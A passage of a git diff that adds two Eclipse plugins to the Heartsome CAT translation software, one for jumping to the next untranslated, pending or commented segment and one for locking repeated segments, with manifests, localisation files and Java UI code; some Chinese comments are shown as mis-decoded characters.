@return String the label + * @since 3.4 + */ + public String getProjectLabel() { + if (description == null) + return projectName; + + String path = projectSystemFile == null ? structureProvider.getLabel(parent) : projectSystemFile.getParent(); + return NLS.bind(Messages.getString("importProjectWizardPage.projectLabel"), projectName, path); + } + + /** + * @return Returns the hasConflicts. + */ + public boolean hasConflicts() { + return hasConflicts; + } + + public Object getParent(){ + return parent; + } + } + +} diff --git a/ts/net.heartsome.cat.ts.jumpsegment/.classpath b/ts/net.heartsome.cat.ts.jumpsegment/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.jumpsegment/.project b/ts/net.heartsome.cat.ts.jumpsegment/.project new file mode 100644 index 0000000..ed7f2b6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.jumpsegment + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.jumpsegment/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.jumpsegment/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.jumpsegment/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.jumpsegment/META-INF/MANIFEST.MF new file mode 100644 index 0000000..7d31119 --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/META-INF/MANIFEST.MF @@ -0,0 +1,17 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS Jump Segment +Bundle-SymbolicName: net.heartsome.cat.ts.jumpsegment;singleton:=true +Bundle-Version: 8.0.1.R8b_v20130109 +Bundle-Activator: net.heartsome.cat.ts.jumpsegment.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.ts.core;bundle-version="8.0.0", + net.heartsome.cat.ts.ui;bundle-version="8.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.ts.ui.xliffeditor.nattable.editor, + net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester, + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.jumpsegment/build.properties b/ts/net.heartsome.cat.ts.jumpsegment/build.properties new file mode 100644 index 0000000..df8eba7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/build.properties @@ -0,0 +1,8 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + plugin_zh.properties,\ + plugin_en.properties,\ + plugin.properties diff --git a/ts/net.heartsome.cat.ts.jumpsegment/images/next.png b/ts/net.heartsome.cat.ts.jumpsegment/images/next.png new file mode 100644 index 0000000..bf4ce08 Binary files /dev/null and b/ts/net.heartsome.cat.ts.jumpsegment/images/next.png differ diff --git a/ts/net.heartsome.cat.ts.jumpsegment/images/next_note.png b/ts/net.heartsome.cat.ts.jumpsegment/images/next_note.png new file mode 100644 index 0000000..aff427d Binary files /dev/null and b/ts/net.heartsome.cat.ts.jumpsegment/images/next_note.png differ diff --git a/ts/net.heartsome.cat.ts.jumpsegment/images/next_question.png b/ts/net.heartsome.cat.ts.jumpsegment/images/next_question.png new file mode 100644 index 0000000..9e71e1c Binary files /dev/null and b/ts/net.heartsome.cat.ts.jumpsegment/images/next_question.png differ diff --git a/ts/net.heartsome.cat.ts.jumpsegment/plugin.properties b/ts/net.heartsome.cat.ts.jumpsegment/plugin.properties new file mode 100644 index 0000000..e81e132 --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/plugin.properties @@ -0,0 +1,6 @@ +menu.qa.nextNonTransParaCommand = \u4e0b\u4e00\u4e2a\u672a\u7ffb\u8bd1\u6587\u672c\u6bb5 +menu.qa.nextQuestionParaCommand = \u4e0b\u4e00\u4e2a\u5e26\u7591\u95ee\u6587\u672c\u6bb5 +menu.qa.nextNoteParaCommand = \u4e0b\u4e00\u4e2a\u5e26\u6279\u6ce8\u6587\u672c\u6bb5 +command.nextNonTransParaCommand = \u4e0b\u4e00\u4e2a\u672a\u7ffb\u8bd1\u6587\u672c\u6bb5 +command.nextQuestionParaCommand = \u4e0b\u4e00\u4e2a\u5e26\u7591\u95ee\u6587\u672c\u6bb5 +command.nextNoteParaCommand = \u4e0b\u4e00\u4e2a\u5e26\u6279\u6ce8\u6587\u672c\u6bb5 diff --git a/ts/net.heartsome.cat.ts.jumpsegment/plugin.xml b/ts/net.heartsome.cat.ts.jumpsegment/plugin.xml new file mode 100644 index 0000000..53eda0d --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/plugin.xml @@ -0,0 +1,166 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.jumpsegment/plugin_en.properties b/ts/net.heartsome.cat.ts.jumpsegment/plugin_en.properties new file mode 100644 index 0000000..823710b --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/plugin_en.properties @@ -0,0 +1,6 @@ +menu.qa.nextNonTransParaCommand = Next Untranslated +menu.qa.nextQuestionParaCommand = Next Pending +menu.qa.nextNoteParaCommand = Next Comment +command.nextNonTransParaCommand = Next Untranslated +command.nextQuestionParaCommand = Next Pending +command.nextNoteParaCommand = Next Comment diff --git a/ts/net.heartsome.cat.ts.jumpsegment/plugin_zh.properties b/ts/net.heartsome.cat.ts.jumpsegment/plugin_zh.properties new file mode 100644 index 0000000..e81e132 --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/plugin_zh.properties @@ -0,0 +1,6 @@ +menu.qa.nextNonTransParaCommand = \u4e0b\u4e00\u4e2a\u672a\u7ffb\u8bd1\u6587\u672c\u6bb5 +menu.qa.nextQuestionParaCommand = \u4e0b\u4e00\u4e2a\u5e26\u7591\u95ee\u6587\u672c\u6bb5 +menu.qa.nextNoteParaCommand = \u4e0b\u4e00\u4e2a\u5e26\u6279\u6ce8\u6587\u672c\u6bb5 +command.nextNonTransParaCommand = \u4e0b\u4e00\u4e2a\u672a\u7ffb\u8bd1\u6587\u672c\u6bb5 +command.nextQuestionParaCommand = \u4e0b\u4e00\u4e2a\u5e26\u7591\u95ee\u6587\u672c\u6bb5 +command.nextNoteParaCommand = \u4e0b\u4e00\u4e2a\u5e26\u6279\u6ce8\u6587\u672c\u6bb5 diff --git a/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/Activator.java b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/Activator.java new file mode 100644 index 0000000..e426c46 --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.ts.jumpsegment; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.jumpsegment"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given + * plug-in relative path + * + * @param path the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/handler/JumpToNextHandler.java b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/handler/JumpToNextHandler.java new file mode 100644 index 0000000..0ee60bd --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/handler/JumpToNextHandler.java @@ -0,0 +1,74 @@ +package net.heartsome.cat.ts.jumpsegment.handler; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.jumpsegment.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.DeleteToEndOrToTagPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 跳转到下一文本段(包括下一未翻译文本段,下一带疑问文本段,下一带标注文本段)的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class JumpToNextHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + String jumpToNext = event.getParameter("JumpNextSegment"); + if (jumpToNext == null) { + return null; + } + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + int[] selectedRows = xliffEditor.getSelectedRows(); + if (selectedRows.length < 1) { + return null; + } + Arrays.sort(selectedRows); + int lastSelectRow = selectedRows[selectedRows.length - 1]; + XLFHandler handler = xliffEditor.getXLFHandler(); + int nextRow = -1; + Shell shell = HandlerUtil.getActiveShell(event); + if (jumpToNext.equalsIgnoreCase("JumpNextNonTranslation")) { + // 下一未翻译文本段 + nextRow = handler.getNextUntranslatedSegmentIndex(lastSelectRow); + if (nextRow == -1) { + MessageDialog.openInformation(shell, Messages.getString("handler.JumpToNextHandler.msgTitle"), + Messages.getString("handler.JumpToNextHandler.msg1")); + return null; + } + } else if (jumpToNext.equalsIgnoreCase("JumpNextQuestion")) { + // 下一带疑问文本段 + nextRow = handler.getNextQuestionSegmentIndex(lastSelectRow); + if (nextRow == -1) { + MessageDialog.openInformation(shell, Messages.getString("handler.JumpToNextHandler.msgTitle"), + Messages.getString("handler.JumpToNextHandler.msg2")); + return null; + } + } else if (jumpToNext.equalsIgnoreCase("JumpNextNote")) { + // 下一带标注文本段 + nextRow = handler.getNextNoteSegmentIndex(lastSelectRow); + if (nextRow == -1) { + MessageDialog.openInformation(shell, Messages.getString("handler.JumpToNextHandler.msgTitle"), + Messages.getString("handler.JumpToNextHandler.msg3")); + return null; + } + } + xliffEditor.jumpToRow(nextRow); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/Messages.java b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/Messages.java new file mode 100644 index 0000000..96743b4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.jumpsegment.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.jumpsegment.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/message.properties b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/message.properties new file mode 100644 index 0000000..9568765 --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/message.properties @@ -0,0 +1,4 @@ +handler.JumpToNextHandler.msgTitle = \u63d0\u793a +handler.JumpToNextHandler.msg1 = \u5728\u5f53\u524d\u6587\u672c\u6bb5\u4ee5\u4e0b\u5df2\u65e0\u201c\u672a\u7ffb\u8bd1\u6587\u672c\u6bb5\u201d\u3002 +handler.JumpToNextHandler.msg2 = \u5728\u5f53\u524d\u6587\u672c\u6bb5\u4ee5\u4e0b\u5df2\u65e0\u201c\u5e26\u7591\u95ee\u6587\u672c\u6bb5\u201d\u3002 +handler.JumpToNextHandler.msg3 = \u5728\u5f53\u524d\u6587\u672c\u6bb5\u4ee5\u4e0b\u5df2\u65e0\u201c\u5e26\u6279\u6ce8\u6587\u672c\u6bb5\u201d\u3002 diff --git a/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/message_en.properties b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/message_en.properties new file mode 100644 index 0000000..b094508 --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/message_en.properties @@ -0,0 +1,4 @@ +handler.JumpToNextHandler.msgTitle = Message +handler.JumpToNextHandler.msg1 = No untranslated segments found below current segment. +handler.JumpToNextHandler.msg2 = No pending segments found below current segment. +handler.JumpToNextHandler.msg3 = No segments with comments found below current segment. diff --git a/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/message_zh.properties b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/message_zh.properties new file mode 100644 index 0000000..9568765 --- /dev/null +++ b/ts/net.heartsome.cat.ts.jumpsegment/src/net/heartsome/cat/ts/jumpsegment/resource/message_zh.properties @@ -0,0 +1,4 @@ +handler.JumpToNextHandler.msgTitle = \u63d0\u793a +handler.JumpToNextHandler.msg1 = \u5728\u5f53\u524d\u6587\u672c\u6bb5\u4ee5\u4e0b\u5df2\u65e0\u201c\u672a\u7ffb\u8bd1\u6587\u672c\u6bb5\u201d\u3002 +handler.JumpToNextHandler.msg2 = \u5728\u5f53\u524d\u6587\u672c\u6bb5\u4ee5\u4e0b\u5df2\u65e0\u201c\u5e26\u7591\u95ee\u6587\u672c\u6bb5\u201d\u3002 +handler.JumpToNextHandler.msg3 = \u5728\u5f53\u524d\u6587\u672c\u6bb5\u4ee5\u4e0b\u5df2\u65e0\u201c\u5e26\u6279\u6ce8\u6587\u672c\u6bb5\u201d\u3002 diff --git a/ts/net.heartsome.cat.ts.lockrepeat/.classpath b/ts/net.heartsome.cat.ts.lockrepeat/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.lockrepeat/.project b/ts/net.heartsome.cat.ts.lockrepeat/.project new file mode 100644 index 0000000..b796860 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.lockrepeat + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.lockrepeat/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.lockrepeat/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.lockrepeat/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.lockrepeat/META-INF/MANIFEST.MF new file mode 100644 index 0000000..4ee8356 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/META-INF/MANIFEST.MF @@ -0,0 +1,24 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS Lock Repetition +Bundle-SymbolicName: net.heartsome.cat.ts.lockrepeat;singleton:=true +Bundle-Version: 8.0.0.R8b_v20121204 +Bundle-Activator: net.heartsome.cat.ts.lockrepeat.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.common.ui;bundle-version="8.0.0", + net.heartsome.cat.common.core;bundle-version="8.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0", + net.heartsome.cat.ts.tm;bundle-version="8.0.0", + net.sourceforge.nattable.core;bundle-version="8.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.ts.core.file, + net.heartsome.cat.ts.tm.match, + net.heartsome.cat.ts.ui.composite, + net.heartsome.cat.ts.ui.util, + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor, + org.eclipse.core.resources, + org.eclipse.ui.part +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.lockrepeat/build.properties b/ts/net.heartsome.cat.ts.lockrepeat/build.properties new file mode 100644 index 0000000..a92279d --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/build.properties @@ -0,0 +1,9 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + plugin.properties,\ + images/,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/ts/net.heartsome.cat.ts.lockrepeat/images/translate/lock-repeated-logo.png b/ts/net.heartsome.cat.ts.lockrepeat/images/translate/lock-repeated-logo.png new file mode 100644 index 0000000..5f7ea9d Binary files /dev/null and b/ts/net.heartsome.cat.ts.lockrepeat/images/translate/lock-repeated-logo.png differ diff --git a/ts/net.heartsome.cat.ts.lockrepeat/images/translate/locked-dup.png b/ts/net.heartsome.cat.ts.lockrepeat/images/translate/locked-dup.png new file mode 100644 index 0000000..083afb8 Binary files /dev/null and b/ts/net.heartsome.cat.ts.lockrepeat/images/translate/locked-dup.png differ diff --git a/ts/net.heartsome.cat.ts.lockrepeat/plugin.properties b/ts/net.heartsome.cat.ts.lockrepeat/plugin.properties new file mode 100644 index 0000000..60b2769 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/plugin.properties @@ -0,0 +1,2 @@ +menu.project.lockRepeatedSegment = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5... +command.lockRepeatedSegment = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5 diff --git a/ts/net.heartsome.cat.ts.lockrepeat/plugin.xml b/ts/net.heartsome.cat.ts.lockrepeat/plugin.xml new file mode 100644 index 0000000..1c500a6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/plugin.xml @@ -0,0 +1,63 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.lockrepeat/plugin_en.properties b/ts/net.heartsome.cat.ts.lockrepeat/plugin_en.properties new file mode 100644 index 0000000..0342421 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/plugin_en.properties @@ -0,0 +1,2 @@ +menu.project.lockRepeatedSegment = Lock Repetitions... +command.lockRepeatedSegment = Lock Repetitions diff --git a/ts/net.heartsome.cat.ts.lockrepeat/plugin_zh.properties b/ts/net.heartsome.cat.ts.lockrepeat/plugin_zh.properties new file mode 100644 index 0000000..60b2769 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/plugin_zh.properties @@ -0,0 +1,2 @@ +menu.project.lockRepeatedSegment = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5... +command.lockRepeatedSegment = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5 diff --git a/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/Activator.java b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/Activator.java new file mode 100644 index 0000000..c962629 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.ts.lockrepeat; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.lockrepeat"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given + * plug-in relative path + * + * @param path the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/dialog/LockRepeatedSegmentDialog.java b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/dialog/LockRepeatedSegmentDialog.java new file mode 100644 index 0000000..f33f522 --- /dev/null +++ b/ts/net.heartsome.cat.ts.lockrepeat/src/net/heartsome/cat/ts/lockrepeat/dialog/LockRepeatedSegmentDialog.java @@ -0,0 +1,255 @@ +package net.heartsome.cat.ts.lockrepeat.dialog; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.lockrepeat.Activator; +import net.heartsome.cat.ts.lockrepeat.resource.ImageConstant; +import net.heartsome.cat.ts.lockrepeat.resource.Messages; +import net.heartsome.cat.ts.ui.composite.DialogLogoCmp; + +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; + +/** + * é”定é‡å¤æ–‡æœ¬æ®µå¯¹è¯æ¡† + * @author weachy + * @version + * @since JDK1.5 + */ +public class LockRepeatedSegmentDialog extends Dialog { + + /** XLIFF 文件 */ + private List xliffFiles; + + /** 文件列表 */ + private TableViewer tableViewer; + + /** 对è¯æ¡†æ ‡é¢˜ */ + private String title; + + /** é”定内部é‡å¤ */ + private Button btnLockInnerRepeat; + + /** é”定外部100%åŒ¹é… */ + private Button btnLockTM100; + + /** é”定外部101%åŒ¹é… */ + private Button btnLockTM101; + + private Image logoImage = Activator.getImageDescriptor(ImageConstant.TRANSLATE_LOCKREPEATED_LOGO).createImage(); + + public LockRepeatedSegmentDialog(Shell parentShell, List xliffFiles, String title) { + super(parentShell); + this.xliffFiles = xliffFiles; + this.title = title; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(title); + } + + @Override + protected boolean isResizable() { + return false; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + + Button btnOK = getButton(IDialogConstants.OK_ID); + btnOK.setText(Messages.getString("dialog.LockRepeatedSegmentDialog.ok")); + Button cancelBtn = getButton(IDialogConstants.CANCEL_ID); + cancelBtn.setText(Messages.getString("dialog.LockRepeatedSegmentDialog.cancel")); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridData parentData = new GridData(SWT.FILL, SWT.FILL, true, true); + parentData.widthHint = 600; + parentData.heightHint = 350; + tparent.setLayoutData(parentData); + + GridLayoutFactory.fillDefaults().extendedMargins(-1, -1, -1, 8).numColumns(1).applyTo(tparent); + + createLogoArea(tparent); + createFileDataGroup(tparent); + + return parent; + } + + /** + * 显示图片区 + * @param parent + */ + public void createLogoArea(Composite parent) { + new DialogLogoCmp(parent, SWT.NONE, title, Messages.getString("dialog.LockRepeatedSegmentResultDialog.desc"), logoImage); + } + + /** + * @param parent + */ + public void createFileDataGroup(Composite parent) { + + Composite parentCmp = new Composite(parent, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(9, 9, 0, 0).numColumns(1).applyTo(parentCmp); + GridDataFactory.fillDefaults().grab(true, true).applyTo(parentCmp); + + tableViewer = new TableViewer(parentCmp, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + + final Table table = tableViewer.getTable(); + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + tableData.heightHint = 50; + + table.setLayoutData(tableData); + table.setLinesVisible(true); + table.setHeaderVisible(true); + + String[] columnNames = new String[] { Messages.getString("dialog.LockRepeatedSegmentDialog.columnNames1"), + Messages.getString("dialog.LockRepeatedSegmentDialog.columnNames2") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + } + + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.setInput(getTableData()); + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.1, 0.8 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + tableViewer.getTable().setFocus(); + + btnLockInnerRepeat = new Button(parentCmp, SWT.CHECK); + btnLockInnerRepeat.setText(Messages.getString("dialog.LockRepeatedSegmentDialog.btnLockInnerRepeat")); + btnLockInnerRepeat.setSelection(true); + + btnLockTM100 = new Button(parentCmp, SWT.CHECK); + btnLockTM100.setText(Messages.getString("dialog.LockRepeatedSegmentDialog.btnLockTM100")); + btnLockTM100.setSelection(true); + + if (CommonFunction.checkEdition("U")) { + btnLockTM101 = new Button(parentCmp, SWT.CHECK); + btnLockTM101.setText(Messages.getString("dialog.LockRepeatedSegmentDialog.btnLockTM101")); + btnLockTM101.setSelection(true); + } + } + + @Override + protected void okPressed() { + lockInnerRepeatedSegment = btnLockInnerRepeat.getSelection(); + lockTM100Segment = btnLockTM100.getSelection(); + if (CommonFunction.checkEdition("U")) { + lockTM101Segment = btnLockTM101.getSelection(); + } else { + lockTM101Segment = false; + } + super.okPressed(); + } + + private boolean lockInnerRepeatedSegment; + + private boolean lockTM100Segment; + + private boolean lockTM101Segment; + + /** + * 是å¦é”定内部é‡å¤æ–‡æœ¬æ®µ + * @return ; + */ + public boolean 